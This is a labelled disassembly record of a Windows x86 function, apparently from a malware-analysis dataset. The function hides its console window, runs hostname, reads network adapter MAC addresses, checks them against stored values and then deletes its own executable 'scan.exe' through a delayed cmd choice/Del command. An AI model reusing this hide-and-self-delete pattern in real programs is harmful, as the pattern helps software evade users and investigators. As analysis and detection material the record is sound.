Function at 0x411d00
Capabilities:
Create process on windows
Hide graphical window
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1cc
mov eax, dword [0x49f0c4]
xor eax, esp
mov dword [esp + 0x1c8], eax
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x495000
push str.hostname
call fcn.0045bcf6
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x41206c
push ebx
call fcn.0045d6fd
add esp, 4
test eax, eax
jne 0x411dff
nop dword [eax]
push ebx
lea eax, [esp + 0x154]
push 0x80
push eax
call fcn.0045c03a
add esp, 0xc
test eax, eax
je 0x411dee
lea edi, [esp + 0x150]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x411d84
mov edx, dword [0x49fbc0]
sub edi, ecx
mov ecx, dword [0x49fbbc]
mov eax, edx
sub eax, ecx
push edi
cmp edi, eax
ja 0x411dd2
lea eax, [ecx + edi]
cmp edx, 0x10
mov dword [0x49fbbc], eax
mov esi, 0x49fbac
cmovae esi, dword [0x49fbac]
lea eax, [esp + 0x154]
add esi, ecx
push eax
push esi
call fcn.004579a0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x411dee
lea eax, [esp + 0x154]
mov byte [esp + 0x1c], 0
push eax
push dword [esp + 0x20]
mov ecx, 0x49fbac
push edi
call fcn.00415690
push ebx
call fcn.0045d6fd
add esp, 4
test eax, eax
je 0x411d60
push ebx
call fcn.0045bc22
mov ebx, dword [0x49fbac]
add esp, 4
cmp dword [0x49fbc0], 0x10
mov esi, 0x49fbac
mov edi, dword [0x49fbbc]
setae byte [esp + 0x13]
cmovae esi, ebx
test edi, edi
je 0x411e75
push 0x100
lea eax, [esp + 0x54]
push 0
push eax
call fcn.00457f20
or ecx, 0xffffffff
mov byte [esp + 0x7c], 1
lea eax, [edi - 1]
add esp, 0xc
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + esi]
add ecx, esi
mov al, byte [esp + eax + 0x50]
test al, al
je 0x411e71
nop
cmp ecx, esi
je 0x411e75
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [esp + eax + 0x50]
test al, al
jne 0x411e60
sub ecx, esi
jmp 0x411e78
or ecx, 0xffffffff
cmp edi, ecx
jb 0x412089
cmp byte [esp + 0x13], 0
mov eax, 0x49fbac
mov dword [0x49fbbc], ecx
cmovne eax, ebx
push 0x288
mov byte [eax + ecx], 0
call fcn.00455fa4
add esp, 4
mov edi, eax
push 0x288
push 0
push edi
call fcn.00457f20
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [esp + 0x20]
add esp, 0xc
mov dword [esp + 0x14], 0x288
push eax
push edi
call esi
cmp eax, 0x6f
jne 0x411ef2
push 0x288
push edi
call fcn.0045633a
push dword [esp + 0x1c]
call fcn.00456348
add esp, 0xc
mov edi, eax
lea eax, [esp + 0x14]
push eax
push edi
call esi
test eax, eax
jne 0x411fb5
test edi, edi
je 0x411fc8
lea esi, [edi + 0x1ac]
test esi, esi
je 0x411f29
nop dword [eax]
lea eax, [esi + 4]
push eax
push 0x10
push 0x4a1230
call fcn.0045cfd7
mov esi, dword [esi]
add esp, 0xc
test esi, esi
jne 0x411f10
push 3
push 0x4a1230
lea eax, [esp + 0x20]
push 4
push eax
call fcn.0045b206
add esp, 0x10
lea eax, [esp + 0x18]
mov ecx, 0x495028
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411f68
test dl, dl
je 0x411f64
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411f68
add eax, 2
add ecx, 2
test dl, dl
jne 0x411f48
xor eax, eax
jmp 0x411f6d
sbb eax, eax
or eax, 1
test eax, eax
je 0x411fa9
mov ecx, 0x49502c
lea eax, [esp + 0x18]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411fa0
test dl, dl
je 0x411f9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411fa0
add eax, 2
add ecx, 2
test dl, dl
jne 0x411f80
xor eax, eax
jmp 0x411fa5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x411fb5
mov edi, dword [edi]
test edi, edi
jne 0x411f02
jmp 0x411fc8
test edi, edi
je 0x411fc8
push 0x288
push 0
call fcn.0045633a
add esp, 8
push 0
call fcn.0045d557
add esp, 4
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x1c], edx
push eax
lea eax, [esp + 0x30]
push eax
call fcn.0045ae6d
lea eax, [esp + 0x34]
push eax
push str._Y_m_d__H_M
push 0x64
push 0x4a1240
call fcn.0045b5aa
add esp, 0x18
call fcn.004025b0
call fcn.00403d90
cmp byte [0x4a1257], 0
je 0x41201a
call fcn.00406680
cmp byte [0x4a1224], 0
je 0x412038
call fcn.00403980
cmp byte [0x4a1250], 0
jne 0x412038
call fcn.004052c0
jmp 0x41203d
call fcn.00411b20
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.cmd__C_choice__C_Y__N__D_Y__T_3__Del_scan.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [esp + 0x1d4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00455ecc
mov esp, ebp
pop ebp
ret
push str._popen___failed_
lea ecx, [esp + 0x1c]
call fcn.00401500
push 0x49d104
lea eax, [esp + 0x1c]
push eax
call fcn.004584cd
call fcn.00414610
int3